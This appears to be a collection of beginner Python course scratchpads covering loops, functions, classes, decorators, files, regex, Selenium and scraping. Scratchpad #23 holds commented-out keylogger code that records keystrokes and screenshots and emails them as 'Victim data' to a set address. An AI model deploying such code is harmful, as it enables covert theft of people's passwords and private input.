Python Daily Evening Jan 2023
Python Daily Evening Jan 2023
Scratchpad #4
# name = input("Please enter your name: ")
# if name == "Steve Jobs":
# print("Hello Steve")
# elif name == "Steve Wozniak":
# print("Hello Steve GOAT")
# elif name == "Adani":
# print("Hello Chor <- By Soham")
# else:
# print("I don't know you")
# age = int(input("Please enter your age: "))
# if age >= 65:
# print("Drinks are free")
# elif age >= 21:
# print("You can enter and you can drink")
# elif age >= 18:
# print("You can enter but you cannot drink")
# else:
# print("Not allowed")
# is_logged_in = None
# if is_logged_in:
# print("Welcome to your dashboard")
# else:
# print("Access denied. Please login to access dashboard.")
# age = int(input("Please enter your age: "))
# if age >= 18 and age < 21:
# print("You can enter but you cannot drink")
# elif age >= 21 and age < 65:
# print("You can enter and you can drink")
# elif age >= 65:
# print("Drinks are free")
# else:
# print("Not allowed")
# age = input("Please enter your age: ")
# if age:
# age = int(age)
# if age >= 18 and age < 21:
# print("You can enter but you cannot drink")
# elif age >= 21 and age < 65:
# print("You can enter and you can drink")
# elif age >= 65:
# print("Drinks are free")
# else:
# print("Not allowed")
# else:
# print("Please enter a valid age.")
# player1 = input("Enter player1's choice: ")
# player2 = input("Enter player2's choice: ")
# if (player1 == 'rock' and player2 == 'scissors') or (
# player1 == 'paper' and player2 == 'rock') or (player1 == 'scissors'
# and player2 == 'paper'):
# print("Player 1 wins")
# elif (player2 == 'rock' and player1 == 'scissors') or (
# player2 == 'paper' and player1 == 'rock') or (player2 == 'scissors'
# and player1 == 'paper'):
# print("Player 2 wins")
# elif player1 == player2:
# print("It's a draw")
# else:
# print("Something went wrong")
# name = "John Doe"
# for x in name:
# print(x)
# for num in range(0, 20):
# print(f"{num} - hello world")
# for num in range(1, 11, 3):
# print(num)
for num in range(0, 10, -2):
print(num)
Scratchpad #5
# # for num in range(1, 21):
# # if num == 5 or num == 16:
# # print(f"FIZZBUZZ")
# # elif num % 2 == 0:
# # print(f"{num} - Fizz is even")
# # elif num % 2 != 0:
# # print(f"{num} - Fizz is odd")
# # password = input("Please enter your password: ")
# # while password != 'testpass':
# # print("Incorrect Password! Please try again.")
# # password = input("Please enter your password again: ")
# # for num in range(10):
# # print(num)
# # count = 0
# # while count < 10:
# # print(count)
# # count += 1
# # password = input("Please enter your password: ")
# # while password != 'testpass':
# # if password == 'quit':
# # break
# # print("Incorrect Password! Please try again.")
# # password = input("Please enter your password again: ")
# # while True:
# # if password == 'testpass':
# # break
# # print("Incorrect Password! Please try again.")
# # password = input("Please enter your password again: ")
# while True:
# player1 = input("Enter player1's choice: ")
# player2 = input("Enter player2's choice: ")
# if (player1 == 'rock' and player2 == 'scissors') or (
# player1 == 'paper'
# and player2 == 'rock') or (player1 == 'scissors'
# and player2 == 'paper'):
# print("Player 1 wins")
# elif (player2 == 'rock' and player1 == 'scissors') or (
# player2 == 'paper'
# and player1 == 'rock') or (player2 == 'scissors'
# and player1 == 'paper'):
# print("Player 2 wins")
# elif player1 == player2:
# print("It's a draw")
# else:
# print("Something went wrong")
# play_again = input("Do you want to play again (yes/no): ")
# if play_again != 'yes':
# break
langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]
for lang in langs:
print(lang.upper())
Scratchpad #6
# # # nums = [1, 2, 3, 4, 5, 6]
# # # doubles = []
# # # doubles2 = [num * 3 for num in nums]
# # # for num in nums:
# # # doubles.append(num * 2)
# # # print(doubles)
# # # print(doubles2)
# # nums = [1, 2, 3, 4, 5, 6]
# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
# # total = 0
# # for lst in nested_list:
# # for num in lst:
# # total += num
# # print(total)
# nested_list = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]],
# [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
# [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]
# # loop over -> print all the numbers
# # loop over and total all the numbers
# # 2 vars. evens, odds, -> loop over
# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
# # i = 0
# # while i < len(nested_list):
# # print(nested_list[i])
# # i += 1
# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
# i = 0
# while i < len(nested_list):
# j = 0
# while j < len(nested_list[i]):
# print(nested_list[i][j])
# j += 1
# i += 1
nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
results = [[num * 2 if num % 2 == 0 else num / 2 for num in lst]
for lst in nested_list]
print(results)
Scratchpad #7 and #8
# product = [
# 64, 128, True, "DDR4", "AMD Ryzen Threadripper 3990X", 333999.00, True
# ]
# product = {
# "no_of_cores": 64,
# "no_of_threads": 128,
# "unlocked": True,
# "memory_type": "DDR4",
# "name": "AMD Ryzen Threadripper 3990X",
# "price": 333999.00,
# 1: True
# }
# print(product["name"])
# "50000" -> "5,00,000"
product = {
"no_of_cores": 64,
"no_of_threads": 128,
"unlocked": True,
"memory_type": "DDR4",
"name": "AMD Ryzen Threadripper 3990X",
"price": 333999.0,
}
# for key in product.keys():
# print(key, product[key])
# for item in product.items():
# print(item, item[0], item[1])
# for key, value in product.items():
# print(key, value)
# def greet():
# print("Hello world")
# print("Goodbye World")
# greet()
# greet()
# greet()
# greet()
# greet()
# greet()
from random import random
def flip_coin():
if random() > 0.5:
print("hello world")
return "HEADS"
else:
return "TAILS"
print(flip_coin())
Scratchpad #9
# def add(a, b):
# return a + b
# print(add(10, 5))
# def add_number(nums):
# total = 0
# for num in nums:
# total += num
# return total
# print(add_number([1, 2, 3, 4, 5, 6, 7, 8]))
# def is_odd(num):
# if num % 2 != 0:
# return True
# return False
# print(is_odd(9))
# def multiply(a=1, b=1):
# return a * b
# print(multiply())
# def add(a, b):
# return a + b
# def sub(a, b):
# return a - b
# def math(a, b, fn=add):
# return fn(a, b)
# print(math(10, 5, sub))
# # hello = add
# print(hello(10, 5))
# def greet(first_name, last_name, message):
# print(f"{message}, {first_name} {last_name}")
# greet(message="Hello", first_name="John", last_name="Doe")
# name = "John Doe"
# def greet():
# name = "Jane Smith"
# print(name)
# greet()
# # print(name)
# total = 0
# def func(): # has a side-effect
# global total
# total += 1
# print(total)
# func()
# def outer():
# count = 0
# def inner():
# nonlocal count
# count += 1
# print(count)
# inner()
# outer()
def multiply(a=1, b=1):
"""A function that multiplies two numbers"""
return a * b
print(multiply.__doc__)
Scratchpad #10
# import random
# SUITS_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
# "Queen", "King")
# NCARDS = 8
# def get_card(deck_list_in):
# this_card = deck_list_in.pop()
# return this_card
# def shuffle(deck_list_in):
# deck_list_out = deck_list_in.copy()
# random.shuffle(deck_list_out)
# return deck_list_out
# print("Welcome to higher or lower")
# print(
# "You have to choose whether the next card to be shown will be higher or lower than the current card"
# )
# print(
# "Getting it right adds 20 points; get it wrong and you will lose 15 points"
# )
# print("You have 50 points to start")
# print()
# starting_deck_list = []
# for suit in SUITS_TUPLE:
# for this_value, rank in enumerate(RANK_TUPLE):
# card_dict = {"rank": rank, "suit": suit, "value": this_value}
# starting_deck_list.append(card_dict)
# score = 50
# while True:
# print()
# game_deck_list = shuffle(starting_deck_list)
# current_card_dict = get_card(game_deck_list)
# current_card_rank = current_card_dict["rank"]
# current_card_suit = current_card_dict["suit"]
# current_card_value = current_card_dict["value"]
# print(f"Starting card is {current_card_rank} of {current_card_suit}")
# print()
# for card_number in range(0, NCARDS):
# answer = input(
# f"Will the next card be higher or lower than {current_card_rank} of {current_card_suit}? (enter h or l): "
# )
# answer = answer.casefold()
# next_card_dict = get_card(game_deck_list)
# next_card_rank = next_card_dict["rank"]
# next_card_suit = next_card_dict["suit"]
# next_card_value = next_card_dict["value"]
# print(f"Next card is {next_card_rank} of {next_card_suit}")
# if answer == 'h':
# if next_card_value > current_card_value:
# print("You got it right, it was higher")
# score += 20
# else:
# print("Sorry, it was not higher")
# score -= 15
# elif answer == 'l':
# if next_card_value < current_card_value:
# print("You got it right, it was lower")
# score += 20
# else:
# print("Sorry, it was not lower")
# score -= 15
# print(f"Your score is: {score}")
# print()
# current_card_rank = next_card_rank
# current_card_suit = next_card_suit
# current_card_value = next_card_value
# go_again = input("To play again, press ENTER, or 'q' to quit: ")
# if go_again == 'q':
# break
# print("Thank you for playing. Good bye.")
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# print(add(10, 4, 234, 5, 1))
# def profile(**values):
# print(values)
# profile(hello="world", first_name="john", last_name="doe")
# def show_info(a, b, *args, role="moderator", **kwargs):
# return [a, b, args, role, kwargs]
# print(
# show_info(
# 10,
# 20,
# 30,
# 40,
# 50,
# 60,
# hello="world",
# test="info",
# role="admin",
# ))
# def add(*nums):
# total = 0
# for num in nums:
# total += num
# return total
# data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
# print(add(*data))
# def say_name(first, last):
# print(f"My name is {first} {last}.")
# name = {"first": "Robert", "last": "Moore"}
# say_name(**name)
# make_capitalize("hello world, this is something") -> "Hello World, This Is Something"
# get_negatives(1,-2,34,5,-6,7,-87,342) -> [-2,-6,-87]
# find_and_replace("hello world, hello again", "hello", "namaste") -> "namaste world, namaste again"
Scratchpad #11
# # # # # def add(a, b):
# # # # # return a + b
# # # # # hello = add
# # # # # print(hello(10, 2))
# # # # # add = lambda a, b: a + b
# # # # # print(add(10, 5))
# # # # def math(a, b, fn):
# # # # return fn(a, b)
# # # # def add(a, b):
# # # # return a + b
# # # # def sub(a, b):
# # # # return a - b
# # # # # print(math(10, 5, sub))
# # # # print(math(10, 5, lambda a, b: a - b))
# # # nums = [7, 3, 3, 2, 1, 6]
# # # # evens = [num for num in nums if num % 2 == 0]
# # # evens = filter(lambda num: num % 2 == 0, nums)
# # # print(list(evens))
# # # # doubles = [num * 2 for num in nums]
# # # # print(doubles)
# # # # doubles2 = map(lambda num: num * 2, nums)
# # # # print(list(doubles2))
# # names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']
# # print(
# # list(
# # map(lambda name: f"The one who wins is {name}",
# # filter(lambda name: len(name) < 5, names))))
# def colorize(text, color):
# colors = ('red', 'blue', 'green', 'white', 'purple', 'orange')
# if type(text) != str:
# raise TypeError('Text has to be a string')
# if color not in colors:
# raise Exception("This color is not allowed")
# print(f"{text} in {color}")
# colorize("Hello World", "navy blue")
Scratchpad #12
# # def colorize(text, color):
# # colors = ('red', 'blue', 'green', 'white', 'purple', 'orange')
# # if type(text) != str:
# # raise TypeError('Text has to be a string')
# # if color not in colors:
# # raise ValueError("This color is not allowed")
# # print(f"{text} in {color}")
# # try:
# # colorize("Hello World", "navy blue")
# # except (TypeError, ValueError) as err:
# # print(err)
# # # print("Something went wrong")
# # try:
# # colorize("Hello World", "navy blue")
# # except Exception as err:
# # print(err)
# # # print("Something went wrong")
# # print("I am running after the colorize call")
# def div(a, b):
# return a / b
# try:
# result = div(10, "5")
# except Exception as err:
# print(err)
# else:
# print(result)
# finally:
# print("I will always run no matter success or failure")
# import random as r
# def random():
# return "hello world"
# print(r.random())
# print(r.randint(10, 50))
# from random import random, randint
# # from random import *
# print(random())
# print(randint(10, 50))
# print(round(10.6))
# function round -> rounding
# function random(100) -> 1 and 100
# def make_user(first_name, last_name, age, email, phone, password):
# return {
# "first_name": first_name,
# "last_name": last_name,
# "age": age,
# "email": email,
# "phone": phone,
# "password": password
# }
# def login(user, password):
# if password == user["password"]:
# return True
# raise ValueError("Incorrect password")
# def logout(user):
# print(f"{user['email']} as successfully logged out")
# return True
# user1 = make_user("Kim", "Kardashian", 41, "[email protected]",
# "+1 12345 1234", "east")
# login(user1, "east")
# print(user1)
def user(first_name, last_name, age, email, phone, password):
data = {
"first_name": first_name,
"last_name": last_name,
"age": age,
"email": email,
"phone": phone,
"password": password,
}
def login(password):
if password == data["password"]:
return True
raise ValueError("Incorrect password")
def logout():
print(f"{data['email']} as successfully logged out")
return True
return {**data, "login": login, "logout": logout}
user1 = user("Kim", "Kardashian", 41, "[email protected]", "+1 12345 1234",
"east")
print(user1["login"]("east"))
class User:
def __init__(self, first_name, last_name, age, email, phone, password):
self.first_name = first_name
self.last_name = last_name
self.age = age
self.email = email
self.phone = phone
self.password = password
def login(self, password):
if password == self.password:
return True
raise ValueError("Incorrect password")
def logout(self):
print(f"{self.email} as successfully logged out")
return True
kim = User("Kim", "Kardashian", 41, "[email protected]", "+1 12345 1234",
"east")
jong = User("Kim", "Kardashian", 41, "[email protected]", "+1 12345 1234",
"east")
print(kim.login("east"))
print(jong.login("east"))
print(type(kim))
Scratchpad #14
class User:
total_users = 0
def __init__(self, first_name, last_name, age):
self.first_name = first_name
self.last_name = last_name
self._age = age
self.city = "Mumbai"
User.total_users += 1
def greet(self):
return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old."
def get_age(self):
print("RUN SOME OTHER LOGIC")
return self._age
def set_age(self, new_age):
self._age = new_age
return self._age
user1 = User("John", "Doe", 20)
user2 = User("John", "Smith", 35)
user3 = User("John", "Smith", 35)
print(User.total_users)
# print(user1.last_name)
# user2.age = 30
# print(user2.age)
# print(user1.greet())
# print(user2.greet())
# print(user1.get_age())
Scratchpad #15
# # class User:
# # total_users = 0
# # def __init__(self, first_name, last_name, age):
# # self.first_name = first_name
# # self.last_name = last_name
# # self._age = age
# # self.city = "Mumbai"
# # User.total_users += 1
# # def __repr__(self):
# # return f"{self.first_name} {self.last_name}"
# # @classmethod
# # def get_total_users(cls):
# # return cls.total_users
# # def greet(self):
# # return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old."
# # def get_age(self):
# # print("RUN SOME OTHER LOGIC")
# # return self._age
# # def set_age(self, new_age):
# # self._age = new_age
# # return self._age
# # user1 = User("John", "Doe", 20)
# # # user2 = User("Jane", "Smith", 35)
# # # # print(User.get_total_users())
# # # print(user1)
# # class Admin(User):
# # def create_group(self, group_name):
# # return f"{group_name} was created"
# # admin1 = Admin("Jack", "Smith", 30)
# # print(admin1.get_age())
# # print(admin1.create_group("hello world"))
# # print(user1.create_group("hello world"))
# # class User:
# # def __init__(self, first_name, last_name, age):
# # self.first_name = first_name
# # self.last_name = last_name
# # self._age = age
# # @property
# # def age(self):
# # return self._age
# # @age.setter
# # def age(self, new_age):
# # self._age = new_age
# # def get_age(self):
# # return self._age
# # def set_age(self, new_age):
# # self._age = new_age
# # return self._age
# # user1 = User('John', 'Doe', 20)
# # user1.age = 45
# # print(user1.age)
# # print(user1.set_age(10))
# # print(user1.get_age())
# # class Admin(User):
# # def __init__(self, first_name, last_name, age, phone):
# # super().__init__(first_name, last_name, age)
# # self.phone = phone
# # admin1 = Admin('Jane', 'Smith', 20, '123456')
# # print(admin1.phone)
# # class Human:
# # def __init__(self, name):
# # self.name = name
# # def speak(self):
# # print("Hello World")
# # class Animal:
# # def __init__(self, name):
# # self.name = name
# # def speak(self):
# # print("asjkndkjasndansd")
# # class Mutant(Animal, Human):
# # def __init__(self, name):
# # self.name = name
# # john = Human("John Doe")
# # tom = Animal("Tommy")
# # witcher = Mutant("Geralt")
# # witcher.speak()
# class User:
# def __init__(self, first_name, last_name, age):
# self.first_name = first_name
# self.last_name = last_name
# self._age = age
# def __len__(self):
# return self._age
# def __add__(self, obj):
# return User("new", "born", 0)
# def greet(self):
# return "Hello World"
# class Admin(User):
# def greet(self):
# return "Hello Universe"
# user1 = User("Jane", "Smith", 20)
# user2 = User("John", "Smith", 20)
# admin1 = Admin("John", "Doe", 20)
# # print(user1.greet())
# # print(admin1.greet())
# print(len(user1))
# print(user1 + user2)
# a = [1, 2, 3, 4, 5]
# for num = iter(a) in a:
# print(next(num))
Scratchpad 16
# # # a = [1, 2, 3, 4]
# # # def my_map(func, iterable):
# # # iterator = iter(iterable)
# # # while True:
# # # try:
# # # func(next(iterator))
# # # except StopIteration:
# # # break
# # # my_map(lambda num: print(num), a)
# # # for num in range(100):
# # # print(num)
# # class Counter:
# # def __init__(self, start, end, step=1):
# # self.start = start
# # self.end = end
# # self.step = step
# # def __repr__(self):
# # return f"Counter({self.start}, {self.end}, {self.step})"
# # def __iter__(self):
# # return self
# # def __next__(self):
# # if self.start < self.end:
# # num = self.start
# # self.start += self.step
# # return num
# # else:
# # raise StopIteration
# # # for num in Counter(10, 50, 5):
# # # print(num)
# # r = range(0, 50, 5)
# # c = Counter(10, 50, 5)
# # print(r)
# # print(c)
# # # for num = next(a) in a = iter(Counter(0, 100)):
# # # print(num)
# # def counter(start, end, step=1):
# # count = start
# # while count < end:
# # yield count
# # count += step
# # result = counter(0, 10, 2)
# # for num in result:
# # print(num)
# def fib_list(max):
# nums = []
# a, b = 0, 1
# while len(nums) < max:
# nums.append(b)
# a, b = b, a + b
# return nums
# def fib_gen(max):
# a, b = 0, 1
# count = 0
# while count < max:
# a, b = b, a + b
# yield a
# count += 1
# # a b nums
# # 0 1 [1, ]
# # 1 1 [1, 1, ]
# # 1 2 [1, 1, 2, ]
# # 2 3 [1, 1, 2, 3, ]
# # print(fib_list(100000000000)) # [1, 1, 2, 3]
# for num in fib_gen(100000000000):
# print(num)
import time
gen_start_time = time.time()
print(sum(num for num in range(100000000)))
gen_stop_time = time.time() - gen_start_time
print(f"Gen Time: {gen_stop_time}")
list_start_time = time.time()
print(sum([num for num in range(100000000)]))
list_stop_time = time.time() - list_start_time
print(f"List Time: {list_stop_time}")
Scratchpad #17
# # def sum(n, func):
# # total = 0
# # for num in range(n):
# # total += func(num)
# # return total
# # print(sum(10, lambda num: num**3))
# import random
# def greet(person):
# def get_mood():
# mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# msg = random.choice(mood)
# return msg
# result = f"{get_mood()} {person}"
# return result
# print(greet("John"))
# import random
# def make_greet_func(person):
# def make_message():
# msg = random.choice(
# ["Hey", "What!", "What the heck do you want!", "Get lost!"])
# return f"{msg} {person}"
# return make_message
# result1 = make_greet_func("John")
# result2 = make_greet_func("Jane")
# print(result1())
# print(result2())
# def stars(fn):
# def wrapper():
# print("*" * 10)
# fn()
# print("*" * 10)
# return wrapper
# @stars # greet = stars(greet)
# def greet():
# print("Hello World")
# # greet = stars(greet)
# greet()
from functools import wraps
def make_upper_case(fn):
"""Decorator that uppercases the returned string"""
@wraps(fn)
def wrapper(*args, **kwargs):
"""Wrapper function"""
return fn(*args, **kwargs).upper()
return wrapper
@make_upper_case
def greet(person):
return f"Hello, {person}"
# greet = wrapper(name) # accepts 1 arg
@make_upper_case # greet2 = wrapper(name)
def greet2(person, message):
"""Function that accepts a person and a message prints it"""
return f"{message}, {person}"
# print(greet("John"))
# print(greet2("John", "Hi"))
print(greet2.__doc__)
Scratchpad #19
from functools import wraps
# def stars(fn):
# @wraps(fn) # wrapper = wraps(wrapper)
# def wrapper(*arg, **kwargs):
# print("*" * 10)
# fn(*arg, **kwargs)
# print("*" * 10)
# return wrapper
# @stars # greet = stars(greet) => wrapper
# def greet(person):
# print(f"Hello {person}")
# greet("John")
# def ensure_first_arg_is(val):
# def inner(fn):
# def wrapper(*args, **kwargs):
# if args and args[0] != val:
# raise ValueError(f"First arg needs to be {val}")
# else:
# return fn(*args, **kwargs)
# return wrapper
# return inner
# # fav_movies = ensure_first_arg_is("the matrix")(fav_movies)
# @ensure_first_arg_is("the matrix")
# def fav_movies(*movies):
# print(movies)
# fav_movies("the matrix", "3 idiots", "pathan", "sultan", "avatar", "8 mile")
def enforce(*types):
def inner(fn):
def wrapper(*args, **kwargs):
new_args = [] # ['hello world', 10]
for a, t in zip(args,
types): # [('hello world', str), ('10', int)]
try:
new_args.append(t(a))
except (ValueError, TypeError):
print("Something went wrong")
return "Something went wrong"
return fn(*new_args)
return wrapper
return inner
@enforce(str, int)
def announce(msg, times):
print((msg + "\n") * times)
announce(True, 'asdasd')
Scratchpad #20
# file = open("hello.txt")
# print(file.read())
# file.close()
# print(file.closed)
# with open("hello.txt") as file:
# print(file.read())
# print(file.closed)
# with open("hello.txt", "r+") as file:
# file.write("Hello World " * 20)
# file.seek(0)
# file.write("THIS IS SOME NEW CONTENT")
from csv import reader, DictReader, writer, DictWriter
# with open("hello.csv") as file:
# csv_reader = reader(file)
# for row in csv_reader:
# print(row)
# with open("hello.csv") as file:
# contents = file.read()
# result = [row.split(",") for row in contents.split("\n")]
# print(result)
# with open("hello.csv") as file:
# csv = DictReader(file)
# print(list(csv))
# with open("pokemon.csv", "w", newline="") as file:
# csv_writer = writer(file)
# csv_writer.writerow(["Name", "Type"])
# csv_writer.writerow(["Pikachu", "Electric"])
# csv_writer.writerow(["Balbasaur", "Grass"])
# with open("pokemon.csv", "w", newline="") as file:
# headers = ["Name", "Type", "Abilities"]
# csv_writer = DictWriter(file, fieldnames=headers)
# csv_writer.writeheader()
# csv_writer.writerow({
# "Abilities": "Thundershock",
# "Name": "Pikachu",
# "Type": "Electric",
# })
import pickle
class User:
def __init__(self, first_name, last_name, age):
self.first_name = first_name
self.last_name = last_name
self.age = age
def __repr__(self):
return self.first_name
def greet(self):
print(f"Hello World. I am {self.first_name}")
# user1 = User("john", "doe", 20)
# user2 = User("jane", "doe", 39)
# user1.greet()
# print(user1.__dict__)
# with open("user-data.pickle", "wb") as file:
# pickle.dump((user1, user2), file)
with open("user-data.pickle", "rb") as file:
restore_users = pickle.load(file)
# restore_user1.greet()
print(restore_users)
Scratchpad #21
# import json
# import jsonpickle
# class User:
# def __init__(self, first_name, last_name, age):
# self.first_name = first_name
# self.last_name = last_name
# self.age = age
# def __repr__(self):
# return self.first_name
# def greet(self):
# print(f"Hello World. I am {self.first_name}")
# # user1 = User("john", "doe", 20)
# # # print(json.dumps(user1.__dict__))
# # with open("data.json", "w") as file:
# # stored = jsonpickle.encode(user1)
# # file.write(stored)
# with open("data.json") as file:
# contents = file.read()
# restored = jsonpickle.decode(contents)
# print(restored)
# restored.greet()
import re
# pattern = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}")
# # result = pattern.search("Hello call us on +91 022 23456789 or +91 022 83456789")
# # print(result.group())
# result = pattern.findall("Hello call us on +91 022 23456789 or +91 022 83456789")
# print(result)
# def extract_phone(input):
# phone_regex = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}")
# match = phone_regex.search(input)
# if match:
# return match.group()
# return None
# print(extract_phone("Hello call us on +91 022 23456789 or +91 022 83456789"))
def is_valid_phone(input):
phone_regex = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}")
match = phone_regex.fullmatch(input)
if match:
return True
return False
print(is_valid_phone("+91 022 23456789"))
Scratchpad #22
# from datetime import datetime
# import threading
# import multiprocessing
# def dummy_func(x):
# print(f"Job-{x} started: {datetime.now()}")
# a = []
# for i in range(40000):
# for j in range(2000):
# a.append([i, j])
# a.clear()
# print(f"Job-{x} ended: {datetime.now()}")
# # start_time = datetime.now()
# # dummy_func(1)
# # dummy_func(2)
# # dummy_func(3)
# # dummy_func(4)
# # print(f"Total time taken: {datetime.now() - start_time}")
# if __name__ == "__main__":
# # t1 = threading.Thread(target=dummy_func, args=(1,))
# # t2 = threading.Thread(target=dummy_func, args=(2,))
# # t3 = threading.Thread(target=dummy_func, args=(3,))
# # t4 = threading.Thread(target=dummy_func, args=(4,))
# # start_time = datetime.now()
# # t1.start()
# # t2.start()
# # t3.start()
# # t4.start()
# # t1.join()
# # t2.join()
# # t3.join()
# # t4.join()
# # print(f"Total time taken: {datetime.now() - start_time}")
# p1 = multiprocessing.Process(target=dummy_func, args=(1,))
# p2 = multiprocessing.Process(target=dummy_func, args=(2,))
# p3 = multiprocessing.Process(target=dummy_func, args=(3,))
# p4 = multiprocessing.Process(target=dummy_func, args=(4,))
# start_time = datetime.now()
# p1.start()
# p2.start()
# p3.start()
# p4.start()
# p1.join()
# p2.join()
# p3.join()
# p4.join()
# print(f"Total time taken: {datetime.now() - start_time}")
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
# from time import sleep
# browser = webdriver.Chrome("chromedriver.exe")
# browser.maximize_window()
# browser.get("https://www.youtube.com/")
# search_box = browser.find_element(
# By.XPATH,
# "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input",
# )
# search_box.click()
# search_box.send_keys("flash trailer", Keys.ENTER)
# sleep(3)
# # video = browser.find_element(
# # By.XPATH,
# # "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string",
# # )
# # video.click()
# # sleep(5)
# # video = browser.find_element(By.PARTIAL_LINK_TEXT, "Marvel Studio")
# # sleep(1)
# # video.click()
# # ------------------------------------
# sleep(5)
# browser.close()
from time import sleep
browser = webdriver.Chrome("chromedriver.exe")
browser.maximize_window()
browser.get("https://web.whatsapp.com/")
sleep(35)
search_box = browser.find_element(
By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]"
)
search_box.click()
search_box.send_keys("PYTHON EVENING RS 20/1/23", Keys.ENTER)
sleep(1)
for i in range(20):
message_box = browser.find_element(
By.XPATH,
"/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]",
)
sleep(1)
message_box.click()
message_box.send_keys("TEST MESSAGE FROM PYTHON", Keys.ENTER)
# browser.close()
Scratchpad #24
# import paramiko
# HOST = ""
# USER = ""
# PASSWORD = ""
# ssh = paramiko.SSHClient()
# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# ssh.connect(HOST, username=USER, password=PASSWORD)
# stdin, stdout, stderr = ssh.exec_command("sudo apt-get update")
# print(stdout.read().decode())
# stdin, stdout, stderr = ssh.exec_command("sudo apt-get install -y apache2")
# print(stdout.read().decode())
# html = "<html><body><h1>HELLO WORLD FROM PYTHON SCRIPT!</h1></body></html>"
# stdin, stdout, stderr = ssh.exec_command(
# f"echo '{html}' | sudo tee /var/www/html/index.html"
# )
# print(stdout.read().decode())
# stdin, stdout, stderr = ssh.exec_command("sudo service apache2 start")
# print(stdout.read().decode())
# ssh.close()
# ---------------------------
# import pyautogui
# import os
# import time
# filename = "example.txt"
# content = "HELLO WORLD FROM PYTHON!"
# pyautogui.press("winleft")
# pyautogui.write("notepad")
# pyautogui.press("enter")
# time.sleep(1)
# pyautogui.write(content)
# pyautogui.hotkey("ctrl", "s")
# pyautogui.write(filename)
# pyautogui.press("enter")
# time.sleep(1)
# pyautogui.press("enter")
# print(f"Successfully created file in Downloads folder.")
# ---------------------------------------------
# from pytube import YouTube
# video_url = input("Enter the YouTube video URL: ")
# yt = YouTube(video_url)
# stream = yt.streams.get_highest_resolution()
# stream.download()
# print(f"Successfully downloaded")
# ---------------------------------------------
Scratchpad #23
# from pynput.keyboard import Key, Listener
# import pyautogui
# from time import sleep
# from datetime import datetime
# import yagmail
# count = 0
# keys = []
# try:
# def on_press(key):
# global keys, count
# keys.append(key)
# count += 1
# if count >= 10:
# write_file(keys)
# keys = []
# def write_file(keys):
# with open("log.txt", "a") as f:
# for key in keys:
# k = str(key).replace("'", "")
# if k.find("space") > 0:
# f.write(str(" "))
# elif k.find("cap_lock") > 0:
# f.write(str("<CAPS_LOCK>"))
# elif k.find("enter") > 0:
# f.write("\n")
# elif k.find("Key") == -1:
# f.write(k)
# def on_release(key):
# if key == Key.esc:
# return False
# def take_screenshot():
# screen = pyautogui.screenshot()
# screen.save("screenshot.png")
# def send_email():
# receiver_email = ""
# subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}"
# yag = yagmail.SMTP("", "")
# contents = ["<b><font color='red'>Your Victim Data</font></b>"]
# attachments = ["log.txt", "screenshot.png"]
# yag.send(receiver_email, subject, contents, attachments)
# print("Email sent")
# with Listener(on_press=on_press, on_release=on_release) as listener:
# while True:
# sleep(30)
# take_screenshot()
# send_email()
# listener.join()
# except KeyboardInterrupt:
# print("Program closed")
# from bs4 import BeautifulSoup
# data = """
# <!DOCTYPE html>
# <html lang="en">
# <head>
# <meta charset="UTF-8" />
# <title>My App</title>
# </head>
# <body>
# <h1>Hello World</h1>
# <h2 class="test">Hello World</h2>
# <p id="hello">
# Lorem ipsum dolor, sit amet consectetur adipisicing elit. Quisquam quidem
# corporis, exercitationem expedita ipsam ab? Exercitationem quibusdam sunt
# excepturi voluptatem perspiciatis ex delectus at, dolore praesentium
# doloremque laborum voluptatibus nisi.
# </p>
# <ul>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# <li>
# Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# </li>
# </ul>
# </body>
# </html>
# """
# soup = BeautifulSoup(data, "html.parser")
# print(soup.body.h1)
# print(type(soup.body.h1))
# print(soup.find("li"))
# print(soup.find_all("li"))
# el = soup.find(class_="test")
# print(el.find_next_sibling())
# print(el.find_parent())
# print(soup.find("p")["id"])
import requests
from bs4 import BeautifulSoup
from csv import writer
response = requests.get("https://arstechnica.com/")
soup = BeautifulSoup(response.text, "html.parser")
articles = soup.find_all(class_="article")
with open("articles.csv", "w", newline="") as file:
csv_writer = writer(file)
csv_writer.writerow(["title", "excerpt", "author", "date", "link"])
for article in articles:
title = article.find("h2").get_text()
excerpt = article.find(class_="excerpt").get_text()
author = article.find("span").get_text()
date = article.find(class_="date").get_text()
